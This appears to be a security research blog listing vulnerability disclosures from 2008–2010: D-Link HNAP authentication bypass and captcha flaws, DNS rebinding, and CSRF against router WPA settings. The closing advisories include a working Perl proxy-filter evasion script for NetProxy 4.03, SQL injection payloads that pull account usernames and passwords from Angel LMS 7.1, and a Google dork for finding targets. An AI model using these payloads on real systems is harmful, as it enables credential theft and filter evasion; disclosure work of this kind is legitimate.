Which Routers Are Vulnerable to the D-Link HNAP Exploit?

January 18th, 2010

ZDNet and PCWorld have both run articles regarding our recent disclosure of the D-Link HNAP vulnerability. As with other postings and reports, there seems to be some confusion as to which routers and models are affected.

D-Link has made some statements that we’d like to offer rebuttals to, as we either suspect them to be incorrect or find them to be downright confusing. The below quotations are from the ZDNet article:

The model that D-Link said is not in the European market is DI-524 (C1). In addition, that model does not support HNAP, the company noted.

Yes, the DI-524 hardware version C1 does in fact support HNAP. It was one of the first D-Link routers to do so. Install the most recent firmware release (version 3.23). HNAP is clearly there and vulnerable.

The non-existent model is DIR-628 (B2), as only A hardware has ever been released for that device.

Correct, the DIR-628 hardware version B2 does not exist; that’s bad on us. The version we tested was actually A2 not B2 as we erroneously reported. I find it odd that D-Link doesn’t seem to have even tested their A-series DIR-628s though. If they had, they would have found that they were vulnerable.

Finally, model DIR-655 (A1, firmware 1.30EA) runs a restricted firmware version related to East Asia and therefore irrelevant for Europe.

There seems to be some expectation from D-Link and others that we have tested every firmware version for every D-Link router in existence. That is simply not possible for us to do. We tested three different D-Link routers with four different firmware versions that spanned a period of three years and two continents, and they were all vulnerable. But that is all that we have tested, and therefore all that we can confirm. Just because we didn’t test European firmware doesn’t mean that it is or isn’t vulnerable. It just means that we didn’t test it.

The networking company said on Monday that the problem, discovered by security researchers SourceSec, affects three of its wireless routers: DIR-855 (hardware version A2), DIR-655 (versions A1 to A4) and DIR-635 (version B).

Interestingly, D-Link told PCWorld that there were five routers affected: the DIR-855, DIR-655, DIR-635, DIR-615, and the DI-634.

Now, we know that the DI-524 and DIR-628 are vulnerable. We have also had reports that the DIR-300 is vulnerable (though we can’t confirm this). Yet D-Link does not mention any of them in their list of vulnerable routers. So are there three router models affected? Or five? Or more? Has D-Link performed comprehensive testing on their routers? Or are these just the ones that they’ve tested so far? I can assure you that the DIR-628 and DI-524 need to be added to this list; which others are missing?

In addition, just running the exploit code was not enough to compromise D-Link routers, it said. “It is important to note that running the code on its own is not sufficient to hack into the router: only the software tool provided seems to achieve this result,” said the D-Link statement.

OK, now I’m confused – running the code won’t hack the router, but running the software will? It’s a bash script: the code is the software (Einhorn is Finkle…Finkle is Einhorn…). Any piece of software that can make Web requests can be used to exploit the vulnerability. Web browser? Check. Netcat? Yup. Wget? Sure! Curl? Definitely! I’m not sure what D-Link is trying to say here.

And finally, there’s the inevitable passing of the buck:

“By publicising their tool, and giving specific instructions, the authors of the report have publicly outlined how the security can be breached, which could have had serious repercussions for our customers,” said the D-Link statement.

Yes, of course. It’s not D-Link’s fault for selling vulnerable routers to their customers. It’s obviously our fault for informing their customers of the vulnerability. Shame on us.

, ,

D-Link Routers: One Hack to Own Them All

January 9th, 2010

We’ve been on hiatus over the past few months working on other projects, but last week we re-focused on D-Link routers. While we previously found a flaw in D-Link’s CAPTCHA implementation, this time around we’ve found a way to view and edit D-Link router settings without any administrative credentials.

The short story is that D-Link routers have a second administrative interface, which uses the Home Network Administration Protocol. While HNAP does require basic authentication, the mere existence of HNAP on D-Link routers allows attackers and malware to bypass CAPTCHA “security”. Further, HNAP authentication is not properly implemented, allowing anyone to view and edit administrative settings on the router.

HNAP appears to have been implemented in D-Link routers since 2006, and cannot be disabled. We have verified that vulnerabilities exist in the HNAP implementations of the DI-524, DIR-628 and DIR-655 routers, and suspect that most, if not all, D-Link routers since 2006 are vulnerable.

You can read our full write-up here, and download our POC tool, HNAP0wn, here.

, , ,

D-Link Captcha Redux

May 20th, 2009

A few sites have picked up on our D-Link captcha bypass post, and we’re seeing a lot of people who mis-understand the vulnerability, and the purpose of captchas in general. I’d like to address some of the comments that we’ve seen, and to clarify a few points:

[the captcha is] not really broken. It’s circumvented, but not broken.

Agreed; we’re still looking into some OCR engines that might be used to break the captcha completely. Perhaps a more fitting title would have been “D-Link Captcha Implementation Partially Broken”.

It turns out all that’s required to access the router’s setup page is the hash, so the feature provides an easy way for anyone within range to access the panel that controls all kinds of sensitive settings and contains the WPA password.

No, you cannot access the full router control panel with this vulnerability. Only a few pages (basically any XML page) honour authentication without captcha, one of which is the WPS activation page. Once WPS is activated, anyone within WiFi range can access the network, and then they can access the router control panel.

If you use a dictionary or simple alphanumerc passphrase then it can’t be brute forced unless they pass the CAPTCHA too.
Yes, it’s very annoying on web pages. But on a router page you might use once a month? It’s not such a bad idea.

Actually, if you look at the threat that the captcha is supposed to prevent, it is a terrible idea. A captcha does not provide security, it only attempts to prove that whoever performed a given HTTP request was a person. Yes, captchas may block automated attacks (assuming that the bot cannot break the captcha, which they have been known to do), but remember that the threat consists of a trojan running on the client’s PC that is used to attack the router. What’s stopping the malware from sending the image back to the attacker who can then read it and tell the trojan what it says? Yes, as shocking as it may seem, hackers are people too.

Read the rest of this entry »

D-Link Captcha Partially Broken

May 12th, 2009

Hack-A-Day reported on D-Link’s new captcha system designed to protect against malware that alters DNS settings by logging in to the router using default administrative credentials. I downloaded the new firmware onto our DIR-628 to take a look, and quickly found a flaw in the captcha authentication system that allows an attacker to glean your WiFi WPA pass phrase from the router with only user-level access, and without properly solving the captcha.

Read the rest of this entry »

DNS Load Balancing For Fun And Profit

May 11th, 2009

UPDATE: Unfortunately, this method of anti-DNS pinning does not work quite as we had observed in the lab. As it happens, browsers (IE and FF), if given multiple IP addresses in a DNS response, will always try a private IP address first, regardless of the order in which the IP addresses are listed in the DNS response. If all of the IP addresses in the response are private IPs, then the browser will try them in order (which is why this technique worked during our lab testing, since all of our lab IPs were non-routable). Unfortunately, this prevents the use of this attack as we had previously described. It can still be used in some circumstances, such as an internal attacker attempting to leverage IP-based ACLs, or it can be used to give an external attacker access to Web services running on the localhost (such as CUPS, or bittorrent clients). We’re leaving all of our original post below as even these limited scenarios may be useful attack vectors; in the mean time, we’re going back to the drawing board to examine more traditional anti-DNS pinning attacks.

Read the rest of this entry »

Cracking WPA With CSRF Attacks

May 11th, 2009

Over the past year, a lot of vulnerabilities have been found in various home routers, and it should be noted that almost all SOHO routers are vulnerable to CSRF attacks. By combining CSRF with authentication bypass vulnerabilities or default logins, an attacker can modify practically any router setting s/he desires. However, the crux of CSRF is that while it can be used to force the browser to make requests, the attacker’s code can’t view the response from these requests thanks to the browser’s same-domain policy.

We’ve already talked about our hardware-based attacks against WiFi-Protected Setup, but even without physical access to the router, WPS can still be leveraged by an attacker to gain access to a secured wireless network. Why try to crack a 60-character WPA2 key when you can run a phishing attack and force the router to give you the key instead? It’s as simple as creating an HTML image tag.

Read the rest of this entry »

NetProxy 4.03 Web Filter Evasion

November 3rd, 2008

Sending a specially crafted request to the NetProxy proxy server allows users to view restricted Web content and bypass the proxy’s logging feature.

Description
Assume that access to http://www.milw0rm.com has been blocked. The standard query string sent to NetProxy looks like:

GET http://www.milw0rm.com HTTP/1.0

NetProxy recognizes that this is a blocked URL and subsequently blocks the request. However, sending a request without ‘http://’ in the URL allows access to the blocked URL (note that the port must be manually specified as well):

GET www.milw0rm.com:80 HTTP/1.0

In addition, requests made in this manner are not logged to NetProxy’s connection log file.

Exploit POC
#!/usr/bin/perl
use IO::Socket;

#Define the NetProxy server and port
$proxy_ip = "127.0.0.1";
$proxy_port = "8080";

#Set the site, port and page to request
$site = "www.milw0rm.com";
$port = "80";
$page = "index.html";

#Define FF and IE user agent strings
$ms_ie = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)";
$ms_ff = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1";

#Create connection to NetProxy
my $sock = new IO::Socket::INET(
Proto => 'tcp',
PeerAddr => $proxy_ip,
PeerPort => $proxy_port,
);
die "Failed to connect to [$proxy_ip:$proxy_port] : $!\n" unless $sock;

#Format the request
$request = "GET $site:$port/$page HTTP/1.0\r\n";
$request .= "User-Agent: $ms_ff\r\n";
$request .= "\r\n";

#Send the request
print $sock $request;

#Read the reply
while(<$sock>){
$reply .= $_;
}

close($sock);

#Separate NetProxy header from HTML
($header,$html) = split("\r\n\r",$reply);

print $html;

exit;

Credits
Discovered by Craig Heffner and originally posted on milw0rm.

Angel LMS 7.1 SQL Injection Vulnerability

November 3rd, 2008

Angel LMS 7.1 contains a SQL injection vulnerability in the /section/default.asp page that grants an un-authenticated users access to all database tables and data. Examples include enumeration of tables, columns, user names, passwords, grades, and test questions/answers (you basically have access to everything).

Exploit POC
/section/default.asp?id=’+union+select+top+1+username+from+faculty_accounts–”
/section/default.asp?id=’+union+select+top+1+username+from+accounts–”
/section/default.asp?id=’+union+select+top+1+password+from+accounts–”

Google Dork
intext:”2006 angel learning, inc” -pdf

Credits
Vulnerability discovered by Craig Heffner, originally posted on milw0rm.

,